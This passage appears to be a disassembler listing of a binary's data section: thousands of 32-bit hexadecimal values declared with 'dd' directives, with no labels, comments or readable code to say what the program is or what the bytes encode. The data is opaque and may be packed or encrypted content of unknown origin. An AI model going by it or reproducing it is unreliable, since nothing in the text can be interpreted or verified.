3C00F77Dh dd 7F0DF3DAh, 464DE5Ah, 0E0BE5B81h, 45118353h, 0AEC35CC0h dd 0C1EE6800h, 0F3283E4Fh, 47D90169h, 1CE81D40h, 0A99FF472h dd 1419E91Eh, 699801C1h, 3F700CAAh, 0B5F00BDh, 94E38743h dd 0FA003B16h, 5649F668h, 3EAE78h, 0C9F9AC46h, 3FADF385h dd 5250071Ch, 759A8194h, 0FD60607h, 0C5007DE4h, 2CB2F2h dd 0EB9D51D2h, 587608B5h, 80F8373Eh, 5B75DC98h, 0AD3A6Ch dd 0DD11D0C9h, 598E64FAh, 77D97C00h, 0FCD57861h, 0DE5D16A8h dd 5298B0DBh, 0D02A2C03h, 0E8D90CCBh, 1F5A1659h, 0E449357Ch dd 52770734h, 0AD92C047h, 0AE00B643h, 0CE97E01Bh, 0FF9A507h dd 0DDC8BFF2h, 0EBA2F00h dd 0CD17CAF8h, 60017EEh, 0C8B3834h, 6A580F2Ch, 0A1201F41h dd 335CA0B0h, 0D59AE21Eh, 0F46CBFC0h, 3D42F0A5h, 0AF8181D0h dd 0A295C4E5h, 0E64DFCE0h, 0E4BE220Ch, 1302E2h, 0B5967023h dd 0D5F61149h, 6B283Dh, 6747C92Dh, 9F251FEh, 0DBD75315h dd 0BE406E0Fh, 0CD41CED6h, 66DAB212h, 0F551A400h, 8C196Ah dd 0A47C45DDh, 0C7DC313Ah, 394A0400h, 9BA877EBh, 1F6C00C6h dd 4C50E566h, 1200EF45h, 9125F35Ah, 325185h, 0BE56C070h dd 160503C6h, 0D967591Fh, 0DAA72680h, 3DB46D8Eh, 40801E25h dd 54BFE6FAh, 0E80AC3BDh, 88F0610Ch, 97E7300h, 0C0596B6Eh dd 0EC10ED10h, 923974C0h, 2CBF13D7h, 767D0040h, 87E95Bh dd 0F4FF63A5h, 98058988h, 6FD4D007h, 6BC4659Bh, 0C7EBBC0h dd 2AEA0114h, 0B7B4799Eh, 21F840B0h, 830019CAh, 0E861D35Ch dd 0C01B898Fh, 4A304D10h, 0E90E15E3h, 2C1F93EBh, 3A9D7869h dd 7F80C5BCh, 1C4026A2h, 6071652h, 814F25A7h, 40DBA8D2h dd 25E7BACh, 1BD1CFA1h, 0A840900Ch, 5D0EECCCh, 0A06B7793h dd 0A06854BEh, 0E4E200E9h, 8DCA5CCFh, 961372FFh, 745F9789h dd 0E63C1080h, 4C2D2421h, 74E4DDh, 382C19CEh, 70A94ED3h dd 1A809D60h, 0F2EA4h, 0AFCE68EDh, 1DFFD519h, 14E56A00h dd 1B8E66D1h, 9DF30051h, 8F49160Eh, 0C307481Ch, 76B96E7Fh dd 24C08EB5h, 1A6A71h, 0F735CE31h, 8DC155Bh, 7014520Fh dd 203258D4h, 2ABE0E3h, 0E260CB5Dh, 0D06888F2h, 71275E7h dd 0E500BD7Fh, 50B69E9Fh, 737E00BEh, 0FB5DE027h, 0F003098Eh dd 563C7B08h, 484FD0C4h, 0A6B700E6h, 8B9E0517h, 0DA0E1D74h dd 1260F139h, 32BF7C00h, 39DE16C3h, 8036F3E0h, 0C5E2D8F8h dd 17489B00h, 0BD3F75D5h, 0A9F630C6h, 221C5120h, 0D3A44E0h dd 0DB57806Dh, 37DD1AF1h, 0BF76768Ah, 2AB02640h, 702F45Ch dd 4FB4E775h, 1B5A8A70h, 0B548C1AAh, 70F81133h, 9B0231F2h dd 0A8EFB89Eh, 0E8BC603Fh, 1030F78h, 0AF646107h, 8E6887DAh dd 472D5E60h, 1248DD27h, 0AB320030h, 0DB8276C6h, 0C9E023h dd 0DD69AF14h, 1999116Dh, 0D0674924h, 0C73838A8h, 0D84D21h dd 0F5E92034h, 0B0E71028h, 63030034h, 1DB4407Fh, 0FFE01BC9h dd 8D463800h, 347A54FDh, 777E0064h, 0A87C61AAh, 0A112D020h dd 0C40180C3h, 6BC286A5h, 3F5569C0h, 7DF53271h, 224FC1Ch dd 2F52B9D2h, 4077102Ah, 88553Bh, 2ED0197Dh, 5197F59Ah dd 66261700h, 0DA4718E3h, 1F961D88h, 0BE820022h, 0DC63EB62h dd 606EBF07h, 7960BD47h, 72337431h, 1ED7930h, 0DFAE7105h dd 21EA93A7h, 0FB396057h, 67FE3500h, 7E22A1A9h, 1675C1h dd 0E0175FCBh, 0A31A62C9h, 2DE7DA2Eh, 1229823Ch, 0D0AEDB2Fh dd 0CBAF3CB8h, 0BCC1D106h, 0C048688Dh, 3DCC2CA5h, 0A0FE5B0Bh dd 24EA8224h, 0E3E737E1h, 1C8A8378h, 0C71298C0h, 0E22C6878h dd 0CB000624h, 0F5F1E10h, 78510048h, 19200866h, 4036D34h dd 0F19CF5C6h, 3CBAC015h, 1B7902B3h, 7FD323CBh, 1D6B8C40h dd 0B28B0500h, 2824E527h, 5E130346h, 5A2637DCh, 0A8087ABh dd 2B014C75h, 6BE0E110h, 0FCCD78Ah, 123B005Dh, 70920662h dd 0E400C519h, 0D0AE63D8h, 603FE97Eh, 69FBD0B1h, 1C050525h dd 3DE8676Ch, 7330C01h, 0F880FAE5h, 0D4D14F63h, 0A4012C61h dd 74A16421h, 90709819h, 0FB2500C7h, 128FC98Ch, 0CB07EE16h dd 6D8BE6AFh, 24CF2AC0h, 0D9E0FF4Eh, 0BEC10796h, 0C01AA0B6h dd 0AE3A917Dh, 0C70059B0h, 0F4E2DF55h, 0EAB72431h, 75FE0756h dd 2782F1DCh, 0D55E03B1h, 0FDE93FB8h, 0F85A8700h, 0C1F726E0h dd 64BC00E7h, 0B4E3BA5Bh, 1E00A452h, 84DEFF82h, 376CD8Eh dd 0D0F7B538h, 0CEC87A10h, 74004CECh, 23427F1Ah, 2E4EEFE6h dd 187C4879h, 55C3F871h, 0C7324B16h, 6DED2441h, 1041AE25h dd 9050F950h, 873DDh, 78316317h, 534E30B5h, 0BDD3A83Ah dd 29FA30DEh, 0A9AD7DFBh, 803047B0h, 60E848A2h, 43E2EA80h dd 730D6C65h, 42E30F81h, 961308Dh, 8CB06E39h, 887C6F87h dd 804C649Dh, 99C09379h, 3A0501E1h, 14ADDAEFh, 0D4B4481h dd 0FF4864h, 333734A2h, 0C20F92A0h, 50E95500h, 8B12C99Ah dd 0E4390049h, 1B68C890h, 0F9CEB345h, 70B2C0D5h, 3BA85D4Bh dd 0F8004CE4h, 1BECE815h, 4A18FBDFh, 5AC9DCA2h, 20D00A9h dd 0FEBDF214h, 4C03B15Dh, 3DAE651Dh, 0C9E8E1BAh, 0F550588Ah dd 3F17808Ch, 0DCAA19E2h, 6656A307h, 0E508D51h, 0C3DB76Ch dd 174C40D6h, 203C25C9h, 834B807Eh, 628B02AAh, 18CF266Dh dd 0E6EE00D0h, 0F4918E08h, 0F13C8774h, 582E0FBCh, 1C1BA324h dd 9118079Dh, 408D1F3Fh, 30F189F7h, 818FB53Eh, 0B62CCA71h dd 41BDBBF8h, 2767E186h, 303010BAh, 3955419Eh, 49C0289Bh dd 0E8CF0334h, 0E09985E4h, 3582580Dh, 3940089Ch, 33507186h dd 9930BD83h, 111B41EFh, 97518485h, 1BC3CA74h, 9AF88919h dd 60C535F0h, 72040F4h, 2E00FE3Ch, 79CE256Ah, 3BB6C2Ch dd 0D3866029h, 3DF34E1Ah, 1BE27806h, 3059EC4Dh, 0B0E91424h dd 750A9578h, 0E189456Fh, 7D1BC100h, 7760A0h, 126CA318h dd 92B88A39h, 6619F718h, 0DF9D8EC9h, 0AE6170B0h, 7F30284Fh dd 52CE211Bh, 0BE6F00E5h, 0CFDF9399h, 8C7F027Ah, 12BD9A1Ch dd 30C9BBD8h, 0BA99CBEBh, 275DF00h, 72E44D3Dh, 0E6F03300h dd 1F016378h, 0AD4C3327h, 0C0038688h, 0A4330897h, 0A1B0E28Bh dd 82308190h, 5CA65180h, 31A2DDA3h, 0C26336EEh, 8525A018h dd 12178040h, 2855222Ah, 312C937Eh, 65211624h, 0D04E8EEh dd 0BCE7CC3Eh, 848939ADh, 533FA1B8h, 20860092h, 0AB3480DAh dd 67921F00h, 0DE299B97h, 1162345Ah, 2C9C4514h, 62F45E9Dh dd 5275865Ch, 8CC32A10h, 6D952B00h, 0AAB155B3h, 9FCEEEAh dd 0E8E2129Dh, 49353020h, 42792FD9h, 7F301892h, 0A79649E7h dd 53161F27h, 4EA5474Ah, 0AE6D015Dh, 859443F1h, 1219280Ah dd 1BC1E892h, 99999A4Ah, 10E1E180h, 7C26C167h, 0BA0D01DDh dd 34C62B10h, 9815E0EDh, 31BB5807h, 9128E79Ah, 3241583h dd 14F902A8h, 4EB1E177h, 0F8DD0044h, 0CD4F2853h, 0A900FBAEh dd 1A207AB3h, 243A7157h, 803488B5h, 9234890Dh, 0E8EAA2EEh dd 0DCA48A7Ch, 0EC409DE6h, 161B1482h, 152240EDh, 85F0E538h dd 2E75C6A7h, 0AF57AC81h, 0FCAEC840h, 64C80034h, 0D576C211h dd 0ACA4B72Ah, 5F8AC924h, 0FC9D3E0Fh, 0F7188618h, 9AAD28F0h dd 0E6AE019Ch, 8ACA113Dh, 85F100BDh, 502F72C2h, 0A8E7181Fh dd 88969FF8h, 655C3AEh, 73D19010h, 22079704h, 0EC3CC9E6h dd 0CE064538h, 9F67E001h, 84303069h, 3FCEDE9h, 0DCB9CB24h dd 683E2E00h, 12056BCEh, 4593164Bh, 1D18C3D4h, 8B81E38h dd 183C1C19h, 0D0999C7Fh, 0F64909EFh, 3CB8F211h, 5F00D932h dd 598153B4h, 18C66h, 0DE3FC493h, 5851D827h, 713B8735h dd 0C04CD854h, 327A98D7h, 0C71C0486h, 894B8BD1h, 0C0502288h dd 0E0F1B74Fh, 25060075h, 0F926B51Dh, 4C0E0986h, 0F45535D1h dd 94071AB4h, 12E84C61h, 45AB8FAAh, 0C008AE78h, 6C2A518h dd 90F721C9h, 88E47F6Ch, 680026C9h, 4A8B61E2h, 3BF4BA6Bh dd 174124A3h, 3543A064h, 0A804362Fh, 39D81FAFh, 94C6951Eh dd 0E548CD00h, 19B1EB6h, 0D555371Eh, 4C10E740h, 2427A699h dd 885C1D46h, 358CE192h, 0A641C1h, 0AFED7B98h, 7ED9AB62h dd 571C9101h, 2E29054Ah dd 24151423h, 21009811h, 89F5966Ah, 3900E22Fh, 0B8B1F4BDh dd 0D0B3C58Ch, 0A9C0E460h, 0F1BD7B88h, 0B90A637Bh, 0C4A3D12Bh dd 0E9712228h, 4F64D212h, 0E7F4B030h, 5579140Eh, 0A91F587Fh dd 743141FEh, 0C0357D01h, 0BC071B11h, 0F13C7E07h, 643EEAC2h dd 8F8A40DCh, 0E8445C92h, 0D7FA0097h, 0E9E17E2Ah, 5002017h dd 0C7C64964h, 2C07A8DFh, 646427B4h, 8B1409Eh, 9155B01Eh dd 0E48408ACh, 0E9D0358Ch, 0E9890116h, 21F620B8h, 12D055AAh dd 0A38804F8h, 0C2B091F9h, 7218h, 0BF3DC3E2h, 68E7FD08h dd 915C6063h, 7C380099h, 46C18C92h, 0C09004AEh, 91D2DC5Eh dd 10851768h, 0BD7E197h, 30968D53h, 0F2AE5420h, 71C01722h dd 79C68EF1h, 18C900A0h, 0B6834854h, 7303CFA8h, 0AA594769h dd 0E116CB5Fh, 4C32BCB4h, 402C802Eh, 0CC8B29DBh, 0C1690101h dd 174E50ADh, 898D8C4Ch, 81E19F85h, 11105694h, 0AE0CE59Bh dd 12B9802Ah, 3E57DA48h, 76650045h, 0FB0B9222h, 527C021Bh dd 0AC13907Dh, 0D900A04Eh, 939D3649h, 770BCBB4h, 1F0113Ch dd 3D1922ECh, 0E100C6A9h, 7DB6EA07h, 60242DC9h, 9E888812h dd 1407A696h, 741AA094h, 78B0B039h, 98E6ECC2h, 5DBE8B00h dd 0EB2D2838h, 97DB1240h, 0CFC848DAh, 85E3C8Ch, 2509890h dd 1178AD34h, 0CCCE9199h, 98D44D22h, 0C0E845A8h, 0B11C6DEEh dd 1340E7B4h, 343A46EBh, 13A5F6BCh, 8F91444h, 0AD848E44h dd 0F540EB29h, 0F6FA76ECh, 806A6C3Eh, 7EFFC3BEh, 120BD39Bh dd 304478ACh, 541BF130h, 1863901Dh, 7CA0B06Ah, 802DA52h dd 0AE9E3283h, 44CC647Eh, 95056FCBh, 948FFAA9h, 0E8D274D4h dd 23331142h, 7DCF00DCh, 39BAC512h, 7CF040h, 59FE9C6Bh dd 0B61BF8Dh, 746A0313h, 801A3048h, 0D411872Ah, 0E02C451h dd 0EA5DC1CBh, 3CE84EF6h, 9B001D86h, 74DC40E0h, 5300CDDFh dd 0E89CBB36h, 58C3FC8Bh, 2F34A48Ah, 324C4059h, 2C114DC6h dd 0D34F7200h, 0EF169B6Fh, 0A60107C0h, 0F47545CBh, 727CDC27h dd 0B7332A00h, 0E43C83E7h, 0B0FA0752h, 940768D0h, 0C2EC8825h dd 0B19DCE00h, 0ACAB5A4Ch, 9AB1C9B0h, 0C9354C10h, 0A89EA8A8h dd 77311702h, 0E82F759Fh, 0C1CC1398h, 0E8BAF121h, 51BE210Eh dd 801B24C8h, 332DC169h, 11671B1h, 755B3A27h, 52C6636Ah dd 384486C4h, 5E92F8B1h, 0B52D7600h, 2FE5AE4h, 0E115B1EAh dd 0AC89AC8Ch, 4B427494h, 40703F2Eh, 0D87DABE3h, 6EF88100h dd 598B3E38h, 934C9184h, 1B4046B7h, 6C930843h, 0D3008511h dd 897FB1BDh, 0BE6145ACh, 0D5491BA0h, 2D24218Ch, 57006E71h dd 0DD6D3EB9h, 1A64ACh, 0B8C2D912h, 77FD27C9h, 22E65822h dd 8652994Bh, 374F2164h, 88B4EA10h, 0D8A6C599h, 0C09BF420h dd 0FFAB9A80h, 0E888BCA8h, 440920CAh, 4893A0B0h, 59223B00h dd 0EC2560DFh, 0A80D0478h, 48A7694Fh, 3AAC801Ah, 0C8ADD4E7h dd 0C3452A05h, 8C4859E8h, 5F9F80EDh, 0C981B4E0h, 601EAB00h dd 4759302h, 34454CBCh, 0A7CEE05Ch, 6686D40h, 8309571Eh dd 0F4F564AFh, 88382627h, 198B1702h, 3058100Ch, 271C09Fh dd 0C9DA7298h, 29AEC412h, 6458C490h, 39F41DECh, 769E0Fh dd 0D453CC85h, 0C4011703h, 30049C9Eh, 91F6C284h, 0F11C4EF8h dd 6712BB13h, 9C998021h, 8F2C0C2Dh, 661285D4h, 1CC423CEh dd 10194384h, 0A4394493h, 0DA8A88DEh, 3C682000h, 5793CF59h dd 0DCF209F8h, 3C405E16h, 5C0032F1h, 0D4090636h, 5DC05A1Bh dd 191410E6h, 0F184A09Bh, 161CB422h, 0B4C4A303h, 0F14FA4F8h dd 9CE91BE8h, 8386D18Bh, 2846703Ah, 0AE80760Bh, 605B8E3Eh dd 0DFFC4220h, 59B600F8h, 476D7F29h, 24A1CB18h, 12AE1093h dd 0CCC60E8Bh, 0E6DDBD88h, 19DC48B4h, 39E2F984h, 10808B48h dd 16FE718h, 170D5F03h, 60EB5E0Ch, 0A975F8A7h, 0F6368409h dd 4D989029h, 1DAF903Ch, 0C4A76070h, 0C00997BBh, 0C5650153h dd 3FE49A03h, 10E8949Dh, 849F81A9h, 549CBD99h, 1C7E00F4h dd 6D9BD5E5h, 421F184Eh, 0F944EB32h, 948252B4h, 1C5985h dd 0F371B9F1h, 431CCB6Eh, 50C19A37h, 0B79E8A3Dh, 0C9215022h dd 4CB9C43Dh, 22288137h, 1BC212ECh, 15102113h, 831842C4h dd 0CA457C21h, 0BFCF6E8h, 0B8EF58A7h, 3DE7B420h, 0A0A6BA0Dh dd 0A4A70400h, 0E477430Ch, 0D9F90084h, 69A07409h, 7B4854CAh dd 80A0496Ch, 6B84FB01h, 53740148h, 8FD41860h, 0E7F6C0BAh dd 1A1C1B25h, 3640D71Ch, 49D2A6D6h, 3C483h, 126ED0C1h dd 181B3B3Ch, 2A50249Ch, 3E0D000Eh, 7AD8B57Eh, 0D727DDFCh dd 0E6E492BAh, 0AA2800E4h, 0FBC5736Fh, 89072581h, 0F3DB6F0h dd 3CF215F4h, 419F42Dh, 3D98334Fh, 11234281h, 861FD82Bh dd 3544C464h, 3EE2DC88h, 1D39A34Dh, 0EE713C81h, 398D8C12h dd 2B2C4CF0h, 0E9811C08h, 3C66E851h, 12D28420h, 224786FEh dd 1C7B0DD4h, 0BE9EAE00h, 9C9B42CDh, 3349E04Ch, 0B6017011h dd 20AACF6h, 0D370BE61h, 61BC4E71h, 0C4C5AC10h, 0C105A626h dd 70D0A049h, 0EB4E8844h, 0C2B43053h, 0B81C72B2h, 823E6BCCh dd 76D963EAh, 4585A17h, 1DD859BCh, 487CE3ADh, 3D604134h dd 48C84CECh, 67E28280h, 30E674h, 772326B7h, 0F22F3FBEh dd 0DC725D0Ah, 4B1DCCB5h, 9B5EDF81h, 9048EC09h, 893C9411h dd 9C981DC2h, 5A869299h, 8464408Fh, 0A034FE7Ah, 0C8795F04h dd 24F4C76Bh, 0E1CD0EBCh, 0B96B1B4h, 3064BA86h, 0FCF1F3FEh dd 0D616240Dh, 54C88921h, 953CA022h, 753D09B8h, 0FC84C939h dd 0F99C8CEFh, 0B296AD00h, 99A67BCDh, 0D66109FAh, 0C70B1072h dd 10C6581Ah, 70097E7Ah, 0A41A22Eh, 0E84458CEh, 79182446h dd 0C7724D1Fh, 302B0E41h, 26D4E7AAh, 700327BDh, 8A0D1080h dd 760CB48Fh, 3919221Bh, 2FC900FAh, 69E94C49h, 809180BDh dd 50A76F02h, 2DC7045h, 70AB81E2h, 74C42FD3h, 0C21A1847h dd 14791074h, 42969288h, 97259B43h, 0BC112C83h, 1512045Eh dd 18001E93h, 4C57CC0h, 82C096ACh, 0DC4FB38Bh, 0E745CC66h dd 1607CC72h, 0F7ECBED0h, 9446292Dh, 894BC00h, 0A5A6643Ah dd 83B10045h, 0A08274B7h, 4313DD95h, 0CCD8544Dh, 0CFAE3CBFh dd 0DD1920B2h, 0FF677C20h, 9DED0F59h, 0C2E055D1h, 4AC3E714h dd 30E6B42Dh, 1350E1C4h, 5C67C7F0h, 0DCAF6D04h, 183F640h dd 3600E0A2h, 2A3CE41Ch, 96404C10h, 80430890h, 4A67E143h dd 427C340Eh, 83790ECCh, 8DA08C90h, 45E28A89h, 0C41E1090h dd 0C8B39313h, 3201AE06h, 7F3559EFh, 0F20049E2h, 6302F0DDh dd 0A33500F4h, 0C6B7CB1Ch, 2209DE7Eh, 22DFD369h, 821A0700h dd 2F951F30h, 5C86D49Dh, 0C8111064h, 0BC07E2F0h, 0B374D853h dd 1349C0B0h, 542350F2h, 181EF825h, 0F1B104BDh, 550C2A8h dd 0B1D4ED28h, 8BA848F8h, 12589130h, 10DC6AE8h, 25ED60A0h dd 0FEB4B08Ah, 48181F94h, 235F071Fh, 218951BCh, 1C281886h dd 80DB33C3h, 5910D4EEh, 230EED07h, 4175DD5Eh, 937D1625h dd 9F863041h, 35181822h, 0C54199CDh, 457EA800h, 576573FDh dd 44222742h, 2852B8A0h, 97541411h, 3716AB94h, 1C04749Bh dd 1B43EA96h, 9925EF4Dh, 7D6C2024h, 177EB84h, 323F0CFEh dd 0DC619F58h, 8C165F53h, 443526F6h, 4577CC8h, 3C5E6EF5h dd 0D73490D9h, 48B0F3A3h, 5FC0009Ch, 26C938h, 1C6E69B8h dd 6AEF3AC7h, 7065D908h, 0D0119Ch, 422412CDh, 328DE5D8h dd 0CA2188B7h, 4F96E2Ch dd 17D70761h, 0F8508934h, 2A01BB7Dh, 7F375E0Dh, 2C249106h dd 0CCB0D31Fh, 0C6881BC4h, 59810060h, 4E715B7Ah, 0F509AB4Ch dd 928D5A34h, 7D10D8A8h, 711A3A28h, 3B80472Eh, 8300AE44h dd 0F1D7502Ah, 499F3DA9h, 0C204584Ch, 0A68D1202h, 0CD1E00BCh dd 895DBF0Eh, 37053E16h, 9E5FD782h, 84C0A29Dh, 9C16CF5Ah dd 20202867h, 0C2907E1Ah, 9E647D80h, 10FFDCC4h, 0E64F1Fh dd 88587F3Dh, 0AE061E24h, 0BA9E7912h, 5805EC4Ah, 9F11BC24h dd 0AC9C487Ch, 83C8F0D0h, 363EBA80h, 0CD64F4Bh, 0D3EA1D79h dd 0E7449E39h, 8127BAEh, 9D161A2Ah, 85B9BC98h, 29BDEF9Eh dd 0E4D21106h, 3098C076h, 0B4B68D0Bh, 0C3FC6877h, 56DBEF37h dd 6500C4F9h, 9997C235h, 0E281A712h, 6180E06Ch, 20EFDBBAh dd 769A9303h, 0E2AB7598h, 0B8A5C0E0h, 0D114248Ah, 0A44C69F4h dd 1880B099h, 0D6EBEE58h, 6622032Ah, 0C5E2FA27h, 92FC1BCBh dd 59201F1Ch, 6DDAAE3h, 0EB99866Ch, 1E442144h, 0FD140136h dd 0CA193259h, 9BF43C40h, 0C67100CAh, 5516D657h, 18073677h dd 1AA05C13h, 4E801502h, 8276D0h, 5B2A46Eh, 2087F55Dh dd 0E10471EAh, 8BFB7A98h, 349A8605h, 89B800CCh, 12BAC036h dd 60D3CA4Ah, 1BC780F1h, 96049117h, 9C0C749Eh, 2C8702FCh dd 8896076Ch, 888F05ABh, 5490A3F4h, 4FEF6D04h, 0D4F2E852h dd 5276E00h, 60A41268h, 2DE22940h, 0B090F6CFh, 4E001E25h dd 3ED5FC02h, 12E8667h, 0B54183A9h, 7DBB0BF2h, 68904A14h dd 12E4810Dh, 22D68D46h, 4820801Ch, 1EB9A232h, 0C2F31155h dd 9B014E28h, 9D4DA070h, 3441C73Ch, 0AE5B1A30h, 0B28C2090h dd 57F4FCECh, 96EE1998h, 58B09852h, 310C5CD0h, 78609F4h dd 25804C38h, 463BC6BFh, 40DC4CA3h, 0B416A132h, 8B2402A6h dd 0E1808C2Eh, 0D0E41C87h, 0AB3E5927h, 0C9A5EB02h, 0C01DCB0Eh dd 13702A71h, 5721FE35h, 0BEE060C8h, 6B049873h, 78FB47E3h dd 0EAE55B80h, 6CC80EC0h, 0C9331EC3h, 0E471A064h, 1F88ACB6h dd 90AD17h, 9603CE4Eh, 0A177800Ah, 38F3E8DCh, 80C09135h dd 3BB86D04h, 0B40095FCh, 0ACFF3ECEh, 5D443E2h, 0E7B5CC53h dd 93E8C813h, 9A492284h, 0BC00B491h, 0BDDEDF08h, 2828928Bh dd 34808Ah, 5C5B8303h, 1D2EAFE1h, 0D93B5AF4h, 0D43481FCh dd 31662106h, 8C43DC33h, 2300773Fh, 5CB54054h, 8A026548h dd 0FBAB0EE4h, 95B4F2E2h, 4CCC4CA9h, 0DE796E00h, 95A8778Ch dd 0BDEB00C1h, 0A2AE6580h, 10A89D1h, 64395C14h, 53B420A5h dd 25CABA19h, 44E0ABC9h, 2AF8E894h, 831110FFh, 895B0417h dd 0C0EF3BCCh, 9BA28FE4h, 820DDA00h, 96495AA5h, 91744B94h dd 22CA99ECh, 0B81827CCh, 54981970h, 8A8710CBh, 19445CC4h dd 380F02EDh, 2AEE6927h, 0E411E0E9h, 0F324E2C4h, 26C0DCBCh dd 0F84DF262h, 32342ED4h, 84E549D0h, 0C3423F01h, 0F8480A59h dd 0AE92449Ch, 0E72D5016h, 733AE430h, 5E553B49h, 26A0C02Ah dd 0AF901011h, 0EDA1E01Bh, 0D20AF419h, 5A2D7102h, 0DBFD5708h dd 0A34300CCh, 9418A6Ah, 17007C72h, 601BEEC8h, 9799110Fh dd 9F016494h, 0EDA436Dh, 0EFE0CC4Ah, 270FE5Ch, 0A1A0D42Dh dd 0C853EB12h, 0A74AB01h, 0CCF2DDC9h, 0A5FB0008h, 1C51FC4Eh dd 404139D0h, 12A0BC70h, 64D8C287h, 2B1C8930h, 7541DC60h dd 0DFFEFAh, 0DE3A6CCFh, 79E8E221h, 0B08AA207h, 56B4758Fh dd 1A0184B9h, 842FCF64h, 9B4669Fh, 0E434958Ch, 84191098h dd 0A6D7138Eh, 4C6CD004h, 68BA8A8h, 9E035496h, 0E2D5F8D4h dd 0E61D884Ch, 0C83905B9h, 8CAC8F13h, 189B8568h, 0B599C980h dd 43D22BFh, 42726DBh, 0A24084F1h, 8473CA30h, 524099C4h dd 0EB2D6E41h, 0A419E107h, 0B504B90Fh, 174FAC90h, 8249773h dd 0D0D24093h, 4B2C14FDh, 1580093Dh, 40E63099h, 74F5248Ch dd 0CA85F20Bh, 596C098Bh, 882425E8h, 0CF04BC9Eh, 6C383F0h dd 70B94C19h, 8640F932h, 0E444186Eh, 0D9381FDAh, 109700BDh dd 5A9C13C1h, 9189E113h, 800388A3h, 7CFE0FD8h, 14059025h dd 5A6D00F8h, 0AEC68F4Ch, 2408F63Dh, 5EDFACFh, 0D9921419h dd 94032A64h, 9A250D89h, 0FBE8h, 8F3D560Ch, 0D60030D2h dd 9EC1937Bh, 79AF46B6h, 874312FAh, 4F2C4125h, 628EE714h dd 76609868h, 68A7979Ah, 0D8CCF9C2h, 21408C94h, 5F397FFh dd 11873B94h, 80D049D7h, 0DA12E8C8h, 342E2902h, 4C87C145h dd 4A2200CCh, 0D9C8287Ah, 0CD00B3F1h, 6CC5A346h, 1370F77Dh dd 0CC8D89A8h, 6B009460h, 3272359Dh, 2A0B0FBh, 0F9B97FE5h dd 0CC719266h, 0BD4F3181h, 80052EDEh, 0D9357D20h, 25B04213h dd 0FCA328B4h, 3C8403AAh, 0EC499D46h, 3E6094E0h, 2F702309h dd 75E85A7Fh, 0D601007Ah, 613C5703h, 54B4F3D4h, 289469h dd 20E64B2Dh, 0DAC33C85h, 0BAD5CF00h, 7827D4CEh, 882E1DA1h dd 346C2543h, 0A0F87C00h, 78C41FB9h, 0DA413CFAh, 40E823ACh dd 0E849825Eh, 0EFAA9404h, 504863Fh, 27932215h, 703EB0BDh dd 841557F3h, 83F0E09Eh, 0AF53D050h, 5CAC1444h, 95418632h dd 73B20320h, 83100BFBh, 4498573Dh, 89111C2h, 9F4C1844h dd 372E759Ah, 0EA003E59h, 3EC2AE9Ah, 6BF89E24h, 5C2010C5h dd 0E3FCAF02h, 481D2384h, 991FC354h, 0ABD8006Ch, 0F5E28A11h dd 2AF9132Dh, 7762CC88h, 0A88CE344h, 3794119h, 2463D6FFh dd 68229372h, 0A61300EFh, 3F19E499h, 0DC0029BBh, 1D5FA3EBh dd 0E4C26BEFh, 1281CFFFh, 0A09A7DC1h, 0CC76E2BDh, 20991542h dd 5343D097h, 0CA19A71Ch, 10986FC5h, 30E2AC53h, 0AE411677h dd 8A8C4ADCh, 12A6607Ch, 0F200950h, 161B2E07h, 6385519Ch dd 0C2827930h, 42687104h, 19C0DE67h, 2B64EAB0h, 0C2219A29h dd 6D8DC174h, 6488D3BCh, 44F802EBh, 8FFE350Ah, 0F0564541h dd 0B3076501h, 0FD248C5Eh, 1916A87Ah, 1A44E437h, 0E300448Bh dd 23340CC7h, 5CA39D06h, 0A742DE99h, 91489CB0h, 0C6E100A0h dd 67112D1Eh, 1802A4A4h, 0D4A1308Fh, 0E0F45649h, 0A3385FFAh dd 60751774h, 1CEE4305h, 40B38603h, 24F41D26h, 8A051B0h dd 2D59041Ah, 0B56AC07Eh, 89E82878h, 96C6011h, 6D3307F3h dd 9398D526h, 47951446h, 0DD8A14h, 556B480Ch, 16FFCB03h dd 0F5670EAFh, 11192C02h, 58E5BCh, 0D71B617Dh, 6039FD2Ch dd 851EF9AEh, 5D82654Dh, 70B62011h, 2C1997E4h, 7A84C16h dd 27814A84h, 9D9EC40Ch, 0FC0C44BCh, 8878520h, 98ADC428h dd 80852C18h, 75D84058h, 0DB03B905h, 0A26F02BDh, 4406B225h dd 29C76F78h, 6C7F60C0h, 23007EF0h, 571B8B99h, 3DCB6431h dd 0BF2ABEEDh, 841EF8C8h, 0C9582CEBh, 743CA690h, 0EC9622C1h dd 69C83537h, 69BD7500h, 7BC6A043h, 77C100C9h, 202EBB19h dd 60B9797Fh, 2CACE280h, 2BCD797h, 0ADE68A4Fh, 0E0E1BAF2h dd 2CE33173h, 539E8990h, 0B13A80E4h, 0AA624EA0h, 0B0D3Ah dd 5FAD2F9Dh, 9EF7D6C6h, 0B0594770h, 8F96BF25h, 0CE4200BEh dd 80207427h, 651C8360h, 0BA03F8AAh, 0F45A1BE7h, 0C30804EAh dd 0F42AADE9h, 80095B4h, 7DD811B8h, 6518C296h, 30E2A936h dd 0B527BEB8h, 2F1D500h, 19B249F0h, 0F3E200FBh, 77F5EFE1h dd 80998092h, 403D8702h, 0E331C19Eh, 7D6E7E0h, 0A422FBEBh dd 0DF8EC005h, 0E49180BAh, 68281A00h, 32E46C4h, 0B3119C89h dd 902480C1h, 1F64A874h, 0D0BC9D20h, 0E415133Eh, 98D44DE0h dd 850050A3h, 0D1E2BDC9h dd 0BB03FA4Fh, 795918A0h, 1D582F7Ch, 0E5F0018h, 30CC2D41h dd 7F10067h, 21E3A204h, 50008419h, 2FF97B1Bh, 951F129Ch dd 9084F829h, 2096221Ah, 6B329DBCh, 8BD4901Fh, 0A2658D09h dd 0E0985A00h, 67250A28h, 5FD83918h, 40728340h, 350115B2h dd 1BBD5489h, 8C2D29B3h, 6A1FDF01h, 418D38D3h, 0FAF522ECh dd 17D6C048h, 80BB8312h, 9CA08CD4h, 0C3098493h, 1AD90CFh dd 1C1BD57Ch, 4CD8286Ah, 0A9D19800h, 0E61CD37Ah, 0CA32093Bh dd 0E84880AEh, 2202B7CBh, 593D64E4h, 1160D5B3h, 2C0FD9C1h dd 72AFFF80h, 41713B18h, 0BD7B0067h, 5BEC8E8Fh, 0CA2F3128h dd 0D6409094h, 0C1380061h, 85A83B72h, 0DC000F5Fh, 1A2F5AE8h dd 0E1DEB77h, 4DAC1EA0h, 2A3EB960h, 0AE00E79Ch, 0B5D06859h dd 91A085FAh, 0CF4480ACh, 0BA1A84FEh, 0F1751DF0h, 294F407Eh dd 2F469C40h, 57B663Fh, 0F91E9538h, 3A80090h, 30B62D83h dd 161A190Bh, 97CE4ECh, 